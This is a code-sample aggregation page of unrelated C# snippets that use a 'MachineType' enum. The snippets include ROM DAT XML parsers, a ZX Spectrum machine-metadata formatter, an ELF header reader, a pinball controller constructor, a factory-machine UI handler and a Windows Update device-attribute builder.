                    continue;
                }

                // Get the roms from the machine
                switch (reader.Name)
                {
                case "comment":                         // There can be multiple comments by spec
                    machine.Comment += reader.ReadElementContentAsString();
                    break;

                case "description":
                    machine.Description = reader.ReadElementContentAsString();
                    break;

                case "year":
                    machine.Year = reader.ReadElementContentAsString();
                    break;

                case "manufacturer":
                    machine.Manufacturer = reader.ReadElementContentAsString();
                    break;

                case "publisher":                         // Not technically supported but used by some legacy DATs
                    machine.Publisher = reader.ReadElementContentAsString();
                    break;

                case "trurip":                         // This is special metadata unique to TruRip
                    ReadTruRip(reader.ReadSubtree(), machine);

                    // Skip the trurip node now that we've processed it
                    reader.Skip();
                    break;

                case "release":
                    containsItems = true;

                    DatItem release = new Release
                    {
                        Name     = reader.GetAttribute("name"),
                        Region   = reader.GetAttribute("region"),
                        Language = reader.GetAttribute("language"),
                        Date     = reader.GetAttribute("date"),
                        Default  = Utilities.GetYesNo(reader.GetAttribute("default")),
                    };

                    release.CopyMachineInformation(machine);

                    // Now process and add the rom
                    key = ParseAddHelper(release, clean, remUnicode);

                    reader.Read();
                    break;

                case "biosset":
                    containsItems = true;

                    DatItem biosset = new BiosSet
                    {
                        Name        = reader.GetAttribute("name"),
                        Description = reader.GetAttribute("description"),
                        Default     = Utilities.GetYesNo(reader.GetAttribute("default")),

                        SystemID = sysid,
                        System   = filename,
                        SourceID = srcid,
                    };

                    biosset.CopyMachineInformation(machine);

                    // Now process and add the rom
                    key = ParseAddHelper(biosset, clean, remUnicode);

                    reader.Read();
                    break;

                case "rom":
                    containsItems = true;

                    DatItem rom = new Rom
                    {
                        Name       = reader.GetAttribute("name"),
                        Size       = Utilities.GetSize(reader.GetAttribute("size")),
                        CRC        = Utilities.CleanHashData(reader.GetAttribute("crc"), Constants.CRCLength),
                        MD5        = Utilities.CleanHashData(reader.GetAttribute("md5"), Constants.MD5Length),
                        SHA1       = Utilities.CleanHashData(reader.GetAttribute("sha1"), Constants.SHA1Length),
                        SHA256     = Utilities.CleanHashData(reader.GetAttribute("sha256"), Constants.SHA256Length),
                        SHA384     = Utilities.CleanHashData(reader.GetAttribute("sha384"), Constants.SHA384Length),
                        SHA512     = Utilities.CleanHashData(reader.GetAttribute("sha512"), Constants.SHA512Length),
                        MergeTag   = reader.GetAttribute("merge"),
                        ItemStatus = Utilities.GetItemStatus(reader.GetAttribute("status")),
                        Date       = Utilities.GetDate(reader.GetAttribute("date")),

                        SystemID = sysid,
                        System   = filename,
                        SourceID = srcid,
                    };

                    rom.CopyMachineInformation(machine);

                    // Now process and add the rom
                    key = ParseAddHelper(rom, clean, remUnicode);

                    reader.Read();
                    break;

                case "disk":
                    containsItems = true;

                    DatItem disk = new Disk
                    {
                        Name       = reader.GetAttribute("name"),
                        MD5        = Utilities.CleanHashData(reader.GetAttribute("md5"), Constants.MD5Length),
                        SHA1       = Utilities.CleanHashData(reader.GetAttribute("sha1"), Constants.SHA1Length),
                        SHA256     = Utilities.CleanHashData(reader.GetAttribute("sha256"), Constants.SHA256Length),
                        SHA384     = Utilities.CleanHashData(reader.GetAttribute("sha384"), Constants.SHA384Length),
                        SHA512     = Utilities.CleanHashData(reader.GetAttribute("sha512"), Constants.SHA512Length),
                        MergeTag   = reader.GetAttribute("merge"),
                        ItemStatus = Utilities.GetItemStatus(reader.GetAttribute("status")),

                        SystemID = sysid,
                        System   = filename,
                        SourceID = srcid,
                    };

                    disk.CopyMachineInformation(machine);

                    // Now process and add the rom
                    key = ParseAddHelper(disk, clean, remUnicode);

                    reader.Read();
                    break;

                case "sample":
                    containsItems = true;

                    DatItem samplerom = new Sample
                    {
                        Name = reader.GetAttribute("name"),

                        SystemID = sysid,
                        System   = filename,
                        SourceID = srcid,
                    };

                    samplerom.CopyMachineInformation(machine);

                    // Now process and add the rom
                    key = ParseAddHelper(samplerom, clean, remUnicode);

                    reader.Read();
                    break;

                case "archive":
                    containsItems = true;

                    DatItem archiverom = new Archive
                    {
                        Name = reader.GetAttribute("name"),

                        SystemID = sysid,
                        System   = filename,
                        SourceID = srcid,
                    };

                    archiverom.CopyMachineInformation(machine);

                    // Now process and add the rom
                    key = ParseAddHelper(archiverom, clean, remUnicode);

                    reader.Read();
                    break;

                default:
                    reader.Read();
                    break;
                }
            }

            // If no items were found for this machine, add a Blank placeholder
            if (!containsItems)
            {
                Blank blank = new Blank()
                {
                    SystemID = sysid,
                    System   = filename,
                    SourceID = srcid,
                };
                blank.CopyMachineInformation(machine);

                // Now process and add the rom
                ParseAddHelper(blank, clean, remUnicode);
            }
        }
 private void UpdateMachineNotes(MachineType type)
 {
     textBoxCoreDetails.Text = ZXMachineMetaData.GetMetaString(type);
 }
Example #29
0
 public static extern UInt16 PRDecode(MachineType machineType, string str);
Example #30
0
 public MachineModel(string com, MachineType type, IMachine machine)
 {
     Com     = com;
     Type    = type;
     Machine = machine;
 }
Example #31
0
        } // GetMachineType

        /// <summary>
        /// Добавление элемента
        /// </summary>
        /// <param name="element">Добавляемый элемент</param>
        public async Task AddMachineType(MachineType element)
        {
            _context.MachineTypes.Add(element);
            await _context.SaveChangesAsync();
        } // AddMachineType
            public static string GetMetaString(MachineType type)
            {
                var m  = GetMetaObject(type);
                var sb = new StringBuilder();

                // get longest title
                int titleLen = 0;

                foreach (var d in m.Data)
                {
                    if (d.Key.Length > titleLen)
                    {
                        titleLen = d.Key.Length;
                    }
                }

                var maxDataLineLen = 40;

                // generate layout
                foreach (var d in m.Data)
                {
                    var tLen   = d.Key.Length;
                    var makeup = (titleLen - tLen) / 4;
                    sb.Append(d.Key + ":\t");
                    for (int i = 0; i < makeup; i++)
                    {
                        if (tLen > 4)
                        {
                            sb.Append('\t');
                        }
                        else
                        {
                            makeup--;
                            sb.Append('\t');
                        }
                    }

                    // output the data splitting and tabbing as neccessary
                    var arr = d.Value.Split(' ');

                    List <string> builder = new List <string>();
                    string        working = "";
                    foreach (var s in arr)
                    {
                        var len = s.Length;
                        if (working.Length + 1 + len > maxDataLineLen)
                        {
                            // new line needed
                            builder.Add(working.Trim(' '));
                            working = "";
                        }
                        working += s + " ";
                    }

                    builder.Add(working.Trim(' '));

                    // output the data
                    for (int i = 0; i < builder.Count; i++)
                    {
                        if (i != 0)
                        {
                            sb.Append('\t');
                            sb.Append('\t');
                        }

                        sb.Append(builder[i]);
                        sb.Append("\r\n");
                    }

                    //sb.Append("\r\n");
                }

                return(sb.ToString());
            }
Example #33
0
        /// <summary>
        /// Read game/machine information
        /// </summary>
        /// <param name="reader">XmlReader to use to parse the machine</param>
        /// <param name="dirs">List of dirs to prepend to the game name</param>
        /// <param name="statsOnly">True to only add item statistics while parsing, false otherwise</param>
        /// <param name="filename">Name of the file to be parsed</param>
        /// <param name="indexId">Index ID for the DAT</param>
        /// <param name="keep">True if full pathnames are to be kept, false otherwise (default)</param>
        private void ReadMachine(
            XmlReader reader,
            List <string> dirs,
            bool statsOnly,

            // Standard Dat parsing
            string filename,
            int indexId,

            // Miscellaneous
            bool keep)
        {
            // If we have an empty machine, skip it
            if (reader == null)
            {
                return;
            }

            // Otherwise, add what is possible
            reader.MoveToContent();

            bool containsItems = false;

            // Create a new machine
            MachineType machineType = 0x0;

            if (reader.GetAttribute("isbios").AsYesNo() == true)
            {
                machineType |= MachineType.Bios;
            }

            if (reader.GetAttribute("isdevice").AsYesNo() == true) // Listxml-specific, used by older DATs
            {
                machineType |= MachineType.Device;
            }

            if (reader.GetAttribute("ismechanical").AsYesNo() == true) // Listxml-specific, used by older DATs
            {
                machineType |= MachineType.Mechanical;
            }

            string  dirsString = (dirs != null && dirs.Count() > 0 ? string.Join("/", dirs) + "/" : string.Empty);
            Machine machine    = new Machine
            {
                Name        = dirsString + reader.GetAttribute("name"),
                Description = dirsString + reader.GetAttribute("name"),
                SourceFile  = reader.GetAttribute("sourcefile"),
                Board       = reader.GetAttribute("board"),
                RebuildTo   = reader.GetAttribute("rebuildto"),
                Runnable    = reader.GetAttribute("runnable").AsRunnable(), // Used by older DATs

                CloneOf  = reader.GetAttribute("cloneof"),
                RomOf    = reader.GetAttribute("romof"),
                SampleOf = reader.GetAttribute("sampleof"),

                MachineType = (machineType == 0x0 ? MachineType.NULL : machineType),
            };

            if (Header.Type == "SuperDAT" && !keep)
            {
                string tempout = Regex.Match(machine.Name, @".*?\\(.*)").Groups[1].Value;
                if (!string.IsNullOrWhiteSpace(tempout))
                {
                    machine.Name = tempout;
                }
            }

            while (!reader.EOF)
            {
                // We only want elements
                if (reader.NodeType != XmlNodeType.Element)
                {
                    reader.Read();
                    continue;
                }

                // Get the roms from the machine
                switch (reader.Name)
                {
                case "comment":     // There can be multiple comments by spec
                    machine.Comment += reader.ReadElementContentAsString();
                    break;

                case "description":
                    machine.Description = reader.ReadElementContentAsString();
                    break;

                case "year":
                    machine.Year = reader.ReadElementContentAsString();
                    break;

                case "manufacturer":
                    machine.Manufacturer = reader.ReadElementContentAsString();
                    break;

                case "publisher":     // Not technically supported but used by some legacy DATs
                    machine.Publisher = reader.ReadElementContentAsString();
                    break;

                case "category":     // Not technically supported but used by some legacy DATs
                    machine.Category = reader.ReadElementContentAsString();
                    break;

                case "trurip":     // This is special metadata unique to EmuArc
                    ReadTruRip(reader.ReadSubtree(), machine);

                    // Skip the trurip node now that we've processed it
                    reader.Skip();
                    break;

                case "archive":
                    containsItems = true;

                    DatItem archive = new Archive
                    {
                        Name = reader.GetAttribute("name"),

                        Source = new Source
                        {
                            Index = indexId,
                            Name  = filename,
                        },
                    };

                    archive.CopyMachineInformation(machine);

                    // Now process and add the archive
                    ParseAddHelper(archive, statsOnly);

                    reader.Read();
                    break;

                case "biosset":
                    containsItems = true;

                    DatItem biosSet = new BiosSet
                    {
                        Name        = reader.GetAttribute("name"),
                        Description = reader.GetAttribute("description"),
                        Default     = reader.GetAttribute("default").AsYesNo(),

                        Source = new Source
                        {
                            Index = indexId,
                            Name  = filename,
                        },
                    };

                    biosSet.CopyMachineInformation(machine);

                    // Now process and add the biosSet
                    ParseAddHelper(biosSet, statsOnly);

                    reader.Read();
                    break;

                case "disk":
                    containsItems = true;

                    DatItem disk = new Disk
                    {
                        Name       = reader.GetAttribute("name"),
                        MD5        = reader.GetAttribute("md5"),
                        SHA1       = reader.GetAttribute("sha1"),
                        MergeTag   = reader.GetAttribute("merge"),
                        ItemStatus = reader.GetAttribute("status").AsItemStatus(),

                        Source = new Source
                        {
                            Index = indexId,
                            Name  = filename,
                        },
                    };

                    disk.CopyMachineInformation(machine);

                    // Now process and add the disk
                    ParseAddHelper(disk, statsOnly);

                    reader.Read();
                    break;

                case "media":
                    containsItems = true;

                    DatItem media = new Media
                    {
                        Name    = reader.GetAttribute("name"),
                        MD5     = reader.GetAttribute("md5"),
                        SHA1    = reader.GetAttribute("sha1"),
                        SHA256  = reader.GetAttribute("sha256"),
                        SpamSum = reader.GetAttribute("spamsum"),

                        Source = new Source
                        {
                            Index = indexId,
                            Name  = filename,
                        },
                    };

                    media.CopyMachineInformation(machine);

                    // Now process and add the media
                    ParseAddHelper(media, statsOnly);

                    reader.Read();
                    break;

                case "release":
                    containsItems = true;

                    DatItem release = new Release
                    {
                        Name     = reader.GetAttribute("name"),
                        Region   = reader.GetAttribute("region"),
                        Language = reader.GetAttribute("language"),
                        Date     = reader.GetAttribute("date"),
                        Default  = reader.GetAttribute("default").AsYesNo(),
                    };

                    release.CopyMachineInformation(machine);

                    // Now process and add the release
                    ParseAddHelper(release, statsOnly);

                    reader.Read();
                    break;

                case "rom":
                    containsItems = true;

                    DatItem rom = new Rom
                    {
                        Name       = reader.GetAttribute("name"),
                        Size       = Utilities.CleanLong(reader.GetAttribute("size")),
                        CRC        = reader.GetAttribute("crc"),
                        MD5        = reader.GetAttribute("md5"),
                        SHA1       = reader.GetAttribute("sha1"),
                        SHA256     = reader.GetAttribute("sha256"),
                        SHA384     = reader.GetAttribute("sha384"),
                        SHA512     = reader.GetAttribute("sha512"),
                        SpamSum    = reader.GetAttribute("spamsum"),
                        MergeTag   = reader.GetAttribute("merge"),
                        ItemStatus = reader.GetAttribute("status").AsItemStatus(),
                        Date       = CleanDate(reader.GetAttribute("date")),
                        Inverted   = reader.GetAttribute("inverted").AsYesNo(),

                        Source = new Source
                        {
                            Index = indexId,
                            Name  = filename,
                        },
                    };

                    rom.CopyMachineInformation(machine);

                    // Now process and add the rom
                    ParseAddHelper(rom, statsOnly);

                    reader.Read();
                    break;

                case "sample":
                    containsItems = true;

                    DatItem sample = new Sample
                    {
                        Name = reader.GetAttribute("name"),

                        Source = new Source
                        {
                            Index = indexId,
                            Name  = filename,
                        },
                    };

                    sample.CopyMachineInformation(machine);

                    // Now process and add the sample
                    ParseAddHelper(sample, statsOnly);

                    reader.Read();
                    break;

                default:
                    reader.Read();
                    break;
                }
            }

            // If no items were found for this machine, add a Blank placeholder
            if (!containsItems)
            {
                Blank blank = new Blank()
                {
                    Source = new Source
                    {
                        Index = indexId,
                        Name  = filename,
                    },
                };

                blank.CopyMachineInformation(machine);

                // Now process and add the rom
                ParseAddHelper(blank, statsOnly);
            }
        }
        public void EnsureMachineTypeGetSetWorks()
        {
            //Arrange
            List <Operations> ops = new List <Operations>();
            Operations        op1 = new Operations {
                designation = new Designation {
                    designation = "Op1"
                }, ToolDetails = new Details {
                    Det = "teste"
                }, Dur = new Duration {
                    dur = 23
                }
            };

            Operations op2 = new Operations {
                designation = new Designation {
                    designation = "Op2"
                }, ToolDetails = new Details {
                    Det = "teste2"
                }, Dur = new Duration {
                    dur = 232
                }
            };
            Operations op3 = new Operations {
                designation = new Designation {
                    designation = "Op3"
                }, ToolDetails = new Details {
                    Det = "teste233"
                }, Dur = new Duration {
                    dur = 2323333
                }
            };

            ops.Add(op1);
            ops.Add(op2);
            ops.Add(op3);
            MachineType mt = new MachineType(new Designation("Teste"), ops);

            mt.designation.designation = "TesteSet";

            List <Operations> expected = new List <Operations>(ops);

            //Act
            List <Operations> result = mt.operations;
            Operations        op4    = new Operations {
                designation = new Designation {
                    designation = "Op4"
                }, ToolDetails = new Details {
                    Det = "teste4"
                }, Dur = new Duration {
                    dur = 2323333
                }
            };


            //Assert
            Assert.Equal("TesteSet", mt.designation.designation);
            Assert.Equal(expected, result);

            expected.Add(op4);
            mt.addOperation(op4);
            List <Operations> result1 = mt.operations;

            Assert.Equal(expected, result1);
            Assert.Equal("Op1", mt.operations[0].designation.designation);
            // Assert.Equal("teste", mt.operations[0].ToolDetails.Details.Det);
            Assert.Equal(23, mt.operations[0].Dur.dur);
        }
Example #35
0
        static Tuple <List <string>, List <string> > SearchNativeDllRecur(List <string> dllname, List <string> searchpath, MachineType mt)
        {
            // Determine the dll need to find
            List <string> needtofind = new List <string>();

            needtofind.AddRange(dllname);
            List <string> dllfound    = new List <string>();
            List <string> dllnotfound = new List <string>();

            do
            {
                Tuple <List <string>, List <string> > findresult = SearchNativeDll(needtofind, searchpath, mt);
                // These are not found dlls in the determined path
                dllnotfound.AddRange(findresult.Item2);
                dllfound.AddRange(findresult.Item1);
                var nf = from name in dllfound.Union(dllnotfound)
                         where needtofind.Contains(Path.GetFileName(name))
                         select Path.GetFileName(name);

                needtofind = needtofind.Except(nf).ToList();
                foreach (string dll in findresult.Item1)
                {
                    NativeDepend nd = new NativeDepend();
                    nd.Init(dll);
                    List <string> depend = nd.FindMissingDll(true);
                    nf = from name in dllfound.Union(dllnotfound)
                         where depend.Contains(Path.GetFileName(name))
                         select Path.GetFileName(name);

                    var t = depend.Except(nf);
                    needtofind.AddRange(t);
                    needtofind = needtofind.Distinct().ToList();
                }
            } while (needtofind.Count() != 0);
            return(new Tuple <List <string>, List <string> >(dllfound, dllnotfound));
        }
Example #36
0
        /// <summary>
        /// Reads the specified reader.
        /// </summary>
        /// <param name="reader">The reader.</param>
        public void Read(EndianAwareBinaryReader reader)
        {
            Ident = reader.ReadBytes(16);

            // Check for magic number
            if (Ident[0] != MagicNumber[0] || Ident[1] != MagicNumber[1] || Ident[2] != MagicNumber[2] || Ident[3] != MagicNumber[3])
            {
                // Magic number not present, so it seems to be an invalid ELF file
                throw new NotSupportedException("This is not a valid ELF file");
            }

            Type = (FileType)reader.ReadUInt16();
            Machine = (MachineType)reader.ReadUInt16();
            Version = (Version)reader.ReadUInt32();
            EntryAddress = reader.ReadUInt32();
            ProgramHeaderOffset = reader.ReadUInt32();
            SectionHeaderOffset = reader.ReadUInt32();
            Flags = reader.ReadUInt32();
            ElfHeaderSize = reader.ReadUInt16();
            ProgramHeaderEntrySize = reader.ReadUInt16();
            ProgramHeaderNumber = reader.ReadUInt16();
            SectionHeaderEntrySize = reader.ReadUInt16();
            SectionHeaderNumber = reader.ReadUInt16();
            SectionHeaderStringIndex = reader.ReadUInt16();
        }
Example #37
0
        private void MachineStart(MachineType machinet)
        {
            if (!GlobalUsage.WorkOrderNo.Equals("설정안됨"))
            {
                //기계 설정
                setProcess  += SetProgress;
                machineStop += MachineStop;
                machine0     = new Machine
                                   (0, GlobalUsage.WorkOrderNo, GlobalUsage.UserID, GlobalUsage.WcCode,
                                   (value) => btnMachineRun?.Invoke(machineStop, value),
                                   (stackqty, totalqty, prdqty, outqty) => { btnMachineRun?.Invoke(setProcess, stackqty, totalqty); SetGlobalUsage(prdqty, outqty); });

                if (!isMachineRun)
                {
                    WorkOrderVO workorder = (dgvMain.DataSource as List <WorkOrderVO>).Find(x => x.Workorderno == GlobalUsage.WorkOrderNo);
                    InputBox    input     = new InputBox();
                    input.StartPosition = FormStartPosition.CenterParent;
                    input.ShowInTaskbar = false;
                    if (input.ShowDialog() != DialogResult.OK)
                    {
                        return;
                    }
                    switch (machinet)
                    {
                    case MachineType.Molding:     // 성형일경우
                        // 금형 설정
                        MoldService   service  = new MoldService();
                        List <MoldVO> moldlist = service.GetMoldList(wccode: GlobalUsage.WcCode);
                        if (moldlist.Count < 1)
                        {
                            MessageBox.Show("작업장에 장착된 금형이 없습니다.");
                            btnMachineRun.BackColor = Color.FromArgb(218, 239, 245);
                            isMachineRun            = false;
                            return;
                        }
                        MoldVO mold = moldlist[0];
                        // 대차 확인
                        GV_MasterService gvservice = new GV_MasterService();
                        List <GVVO>      gvlist    = gvservice.GetAllByGV("성형그룹", "빈대차");
                        if (input.Qty.Value > (workorder.Dry_GV_Qty * gvlist.Count))
                        {
                            MessageBox.Show("성형대차가 부족합니다.");
                            return;
                        }
                        // 기계 실행
                        Program.Log.WriteInfo($"{GlobalUsage.UserName}이(가) 작업({GlobalUsage.WorkOrderNo})의 성형기계로 금형({mold.Mold_Code})을 이용해 품목({workorder.Item_Code})을 생산함");
                        machine0.MachineStart(input.Qty.Value, new Item_MoldPair(workorder.Item_Code, mold.Mold_Code, workorder.Line_Per_Qty));
                        break;
                    }
                    // 공통
                    btnMachineRun.BackColor = Color.FromArgb(243, 228, 231);
                    isMachineRun            = true;
                    progressMachine.Visible = true;
                }
            }
            else
            {
                Program.Log.WriteInfo($"{GlobalUsage.UserName}이(가) 작업지시를 시작하지 않고 기계를 시작하려함");
                MessageBox.Show("작업지시를 시작해주세요");
            }
        }
 public InputAdapterLightgun(InputState inputState, int jackNo, int startingScanline, MachineType machineType)
 {
     _inputState       = inputState;
     _jackNo           = jackNo;
     _startingScanline = startingScanline;
     switch (machineType)
     {
     case MachineType.A2600NTSC:
     case MachineType.A2600PAL:
         _pitch = 160;
         break;
     }
 }
Example #39
0
 public static T Create <T>(MachineType machineType)
 {
     return((T)Activator.CreateInstance(GeneratorTypes[machineType]));
 }
Example #40
0
        private void BuildCTAC(
            OSSkuId ReportingSku,
            string ReportingVersion,
            MachineType MachineType,
            string FlightRing,
            string FlightingBranchName,
            string BranchReadinessLevel,
            string CurrentBranch,
            string ReleaseType,
            bool SyncCurrentVersionOnly,
            bool IsStore   = false,
            string content = "Mainline"
            )
        {
            int    flightEnabled = FlightRing == "Retail" ? 0 : 1;
            string App           = IsStore ? "WU_STORE" : "WU_OS";

            string InstallType  = "Client";
            string ReportingPFN = "Client.OS.rs2";
            string DeviceFamily = "Windows.Desktop";

            if (ReportingSku == OSSkuId.Holographic)
            {
                InstallType  = "FactoryOS";
                ReportingPFN = "HOLOLENS.OS.rs2";
                DeviceFamily = "Windows.Holographic";
            }
            else if (ReportingSku == OSSkuId.IoTUAP)
            {
                InstallType  = "IoTUAP";
                ReportingPFN = "IoTCore.OS.rs2";
                DeviceFamily = "Windows.IoTUAP";
            }
            else if (ReportingSku == OSSkuId.MobileCore)
            {
                InstallType  = "MobileCore";
                ReportingPFN = "Mobile.OS.rs2";
                DeviceFamily = "Windows.Mobile";
            }
            else if (ReportingSku == OSSkuId.Lite)
            {
                InstallType  = "FactoryOS";
                ReportingPFN = "WCOSDevice0.OS";
                DeviceFamily = "Windows.Core";
            }
            else if (ReportingSku == OSSkuId.Andromeda)
            {
                InstallType  = "FactoryOS";
                ReportingPFN = "WCOSDevice1.OS";
                DeviceFamily = "Windows.Core";
            }
            else if (ReportingSku == OSSkuId.HubOS)
            {
                InstallType  = "FactoryOS";
                ReportingPFN = "WCOSDevice2.OS";
                DeviceFamily = "Windows.Core";
            }
            else if (ReportingSku.ToString().Contains("Server", StringComparison.InvariantCultureIgnoreCase) && ReportingSku.ToString().Contains("Core", StringComparison.InvariantCultureIgnoreCase))
            {
                InstallType  = "Server Core";
                ReportingPFN = "Server.OS";
                DeviceFamily = "Windows.Server";
            }
            else if (ReportingSku.ToString().Contains("Server", StringComparison.InvariantCultureIgnoreCase) && !ReportingSku.ToString().Contains("Core", StringComparison.InvariantCultureIgnoreCase))
            {
                InstallType  = "Server";
                ReportingPFN = "Server.OS";
                DeviceFamily = "Windows.Server";
            }
            else if (ReportingSku == OSSkuId.PPIPro)
            {
                DeviceFamily = "Windows.Team";
            }

            DeviceAttributes = "E:IsContainerMgrInstalled=1&" +
                               $"FlightRing={FlightRing}&" +
                               "TelemetryLevel=3&" +
                               "HidOverGattReg=C:\\WINDOWS\\System32\\DriverStore\\FileRepository\\hidbthle.inf_amd64_0fc6b7cd4ccbc55c\\Microsoft.Bluetooth.Profiles.HidOverGatt.dll&" +
                               $"AppVer=0.0.0.0&" +
                               "IsAutopilotRegistered=0&" +
                               "ProcessorIdentifier=GenuineIntel Family 23 Model 1 Stepping 1&" +
                               "OEMModel=RM-1085_1045&" +
                               "ProcessorManufacturer=GenuineIntel&" +
                               "InstallDate=1577722757&" +
                               "OEMModelBaseBoard=OEM Board Name&" +
                               $"BranchReadinessLevel={BranchReadinessLevel}&" +
                               "DataExpDateEpoch_20H1=0&" +
                               "IsCloudDomainJoined=0&" +
                               "Bios=2019&" +
                               "DchuAmdGrfxVen=4098&" +
                               "IsDeviceRetailDemo=0&" +
                               $"FlightingBranchName={FlightingBranchName}&" +
                               "OSUILocale=en-US&" +
                               $"DeviceFamily={DeviceFamily}&" +
                               "UpgEx_20H1=Green&" +
                               $"WuClientVer={ReportingVersion}&" +
                               $"IsFlightingEnabled={flightEnabled}&" +
                               $"OSSkuId={(int)ReportingSku}&" +
                               "GStatus_20H1=2&" +
                               $"App={App}&" +
                               $"CurrentBranch={CurrentBranch}&" +
                               "InstallLanguage=en-US&" +
                               "OEMName_Uncleaned=MICROSOFTMDG&" +
                               $"InstallationType={InstallType}&" +
                               "AttrDataVer=125&" +
                               "IsEdgeWithChromiumInstalled=1&" +
                               "TimestampEpochString_20H1=1593425114&" +
                               $"OSVersion={ReportingVersion}&" +
                               "IsMDMEnrolled=0&" +
                               "TencentType=1&" +
                               $"FlightContent={content}&" +
                               "ActivationChannel=Retail&" +
                               "Steam=URL:steam protocol&" +
                               "Free=8to16&" +
                               "TencentReg=79 d0 01 d7 9f 54 d5 01&" +
                               "FirmwareVersion=7704&" +
                               "DchuAmdGrfxExists=1&" +
                               "SdbVer_20H1=2340&" +
                               "UpgEx_CO21H2=Green&" +
                               $"OSArchitecture={MachineType.ToString().ToUpper()}&" +
                               "DefaultUserRegion=244&" +
                               $"ReleaseType={ReleaseType}&" +
                               "UpdateManagementGroup=2&" +
                               "MobileOperatorCommercialized=000-88&" +
                               "PhoneTargetingName=Lumia 950 XL";

            if (ReportingSku == OSSkuId.EnterpriseS || ReportingSku == OSSkuId.EnterpriseSN)
            {
                DeviceAttributes += "&BlockFeatureUpdates=1";
            }

            if (ReportingSku == OSSkuId.Holographic)
            {
                DeviceAttributes += $"&OneCoreFwV={ReportingVersion}&" +
                                    $"OneCoreSwV={ReportingVersion}&" +
                                    $"OneCoreManufacturerModelName=HoloLens&" +
                                    $"OneCoreManufacturer=Microsoft Corporation&" +
                                    $"OneCoreOperatorName=000-88";
            }
            else if (ReportingSku == OSSkuId.HubOS)
            {
                DeviceAttributes += $"&OneCoreFwV={ReportingVersion}&" +
                                    $"OneCoreSwV={ReportingVersion}&" +
                                    $"OneCoreManufacturerModelName=Surface Hub 2X&" +
                                    $"OneCoreManufacturer=Microsoft Corporation&" +
                                    $"OneCoreOperatorName=000-88";
            }
            else if (ReportingSku == OSSkuId.Andromeda)
            {
                DeviceAttributes += $"&OneCoreFwV={ReportingVersion}&" +
                                    $"OneCoreSwV={ReportingVersion}&" +
                                    $"OneCoreManufacturerModelName=Andromeda&" +
                                    $"OneCoreManufacturer=Microsoft Corporation&" +
                                    $"OneCoreOperatorName=000-88";
            }
            else if (ReportingSku == OSSkuId.Lite)
            {
                DeviceAttributes += "&Product=ModernPC";
                DeviceAttributes += $"&OneCoreFwV={ReportingVersion}&" +
                                    $"OneCoreSwV={ReportingVersion}&" +
                                    $"OneCoreManufacturerModelName=Santorini&" +
                                    $"OneCoreManufacturer=Microsoft Corporation&" +
                                    $"OneCoreOperatorName=000-88";
            }

            CallerAttributes = "E:Interactive=1&IsSeeker=1&SheddingAware=1&";
            if (IsStore)
            {
                CallerAttributes += "Acquisition=1&Id=Acquisition%3BMicrosoft.WindowsStore_8wekyb3d8bbwe&";
            }
            else
            {
                CallerAttributes += "Id=UpdateOrchestrator&";
            }
            Products = "";
            if (!IsStore)
            {
                Products = $"PN={ReportingPFN}.{MachineType}&Branch={CurrentBranch}&PrimaryOSProduct=1&Repairable=1&V={ReportingVersion};";
            }

            this.SyncCurrentVersionOnly = SyncCurrentVersionOnly;
        }
Example #41
0
 public Machine(MachineType type, string name)
 {
     this.type = type;
     this.name = name;
 }
Example #42
0
 public static void AddMachineTools(MachineType machineType, List <Tool> tools) => _tools.Add(machineType, tools);
Example #43
0
 public MachineEntry(MachineType type)
 {
     _Type = type;
 }
Example #44
0
 public static string To2600or7800WordString(MachineType machineType)
 => machineType switch
 {
Example #45
0
 public static extern IntPtr PRCreate(MachineType machineType);
Example #46
0
 public static string ToTvTypeWordString(MachineType machineType)
 => machineType switch
 {
Example #47
0
        /// <summary>
        /// Creates a new GameController object with the given machine type and logging infrastructure
        /// </summary>
        /// <param name="machineType">Machine type to use (WPC, STERN, PDB etc)</param>
        /// <param name="logger">The logger interface to use</param>
        public GameController(MachineType machineType, ILogger logger)
        {
            this.Logger = logger;
            this._machineType = machineType;
            this._proc = new ProcDevice(machineType, Logger);
            this._proc.reset(1);
            this._modes = new ModeQueue(this);
            this._bootTime = Time.GetTime();
            this._coils = new AttrCollection<ushort, string, Driver>();
            this._switches = new AttrCollection<ushort, string, Switch>();
            this._lamps = new AttrCollection<ushort, string, Driver>();
            this._gi = new AttrCollection<ushort, string, Driver>();
            this._old_players = new List<Player>();
            this._players = new List<Player>();

            testFrame = new byte[128 * 32];
            for (int i = 0; i < (128 * 32); i++)
            {
                testFrame[i] = 0;
            }
        }
Example #48
0
 public static string ToString(MachineType machineType)
 => machineType.ToString();
Example #49
0
        public static ZXMachineMetaData GetMetaObject(MachineType type)
        {
            ZXMachineMetaData m = new ZXMachineMetaData();

            m.MachineType = type;

            switch (type)
            {
            case MachineType.ZXSpectrum16:
                m.Name         = "Sinclair ZX Spectrum 16K";
                m.Description  = "The original ZX Spectrum 16K RAM version. Aside from available RAM this machine is technically identical to the 48K machine that was released at the same time. ";
                m.Description += "Due to the small amount of RAM, very few games were actually made to run on this model.";
                m.Released     = "1982";
                m.CPU          = "Zilog Z80A @ 3.5MHz";
                m.Memory       = "16KB ROM / 16KB RAM";
                m.Video        = "ULA @ 7MHz - PAL (50.08Hz Interrupt)";
                m.Audio        = "Beeper (HW 1ch. / 10oct.) - Internal Speaker";
                m.Media        = "Cassette Tape (via 3rd party external tape player)";
                break;

            case MachineType.ZXSpectrum48:
                m.Name         = "Sinclair ZX Spectrum 48K / 48K+";
                m.Description  = "The original ZX Spectrum 48K RAM version. 2 years later a 'plus' version was released that had a better keyboard. ";
                m.Description += "Electronically both the 48K and + are identical, so ZXHawk treats them as the same emulated machine. ";
                m.Description += "These machines dominated the UK 8-bit home computer market throughout the 1980's so most non-128k only games are compatible.";
                m.Released     = "1982 (48K) / 1984 (48K+)";
                m.CPU          = "Zilog Z80A @ 3.5MHz";
                m.Memory       = "16KB ROM / 48KB RAM";
                m.Video        = "ULA @ 7MHz - PAL (50.08Hz Interrupt)";
                m.Audio        = "Beeper (HW 1ch. / 10oct.) - Internal Speaker";
                m.Media        = "Cassette Tape (via 3rd party external tape player)";
                break;

            case MachineType.ZXSpectrum128:
                m.Name         = "Sinclair ZX Spectrum 128";
                m.Description  = "The first Spectrum 128K machine released in Spain in 1985 and later UK in 1986. ";
                m.Description += "With an updated ROM and new memory paging system to work around the Z80's 16-bit address bus. ";
                m.Description += "The 128 shipped with a copy of the 48k ROM (that is paged in when required) and a new startup menu with the option of dropping into a '48k mode'. ";
                m.Description += "Even so, there were some compatibility issues with older Spectrum games that were written to utilise some of the previous model's intricacies. ";
                m.Description += "Many games released after 1985 supported the new AY-3-8912 PSG chip making for far superior audio. The extra memory also enabled many games to be loaded in all at once (rather than loading each level from tape when needed).";
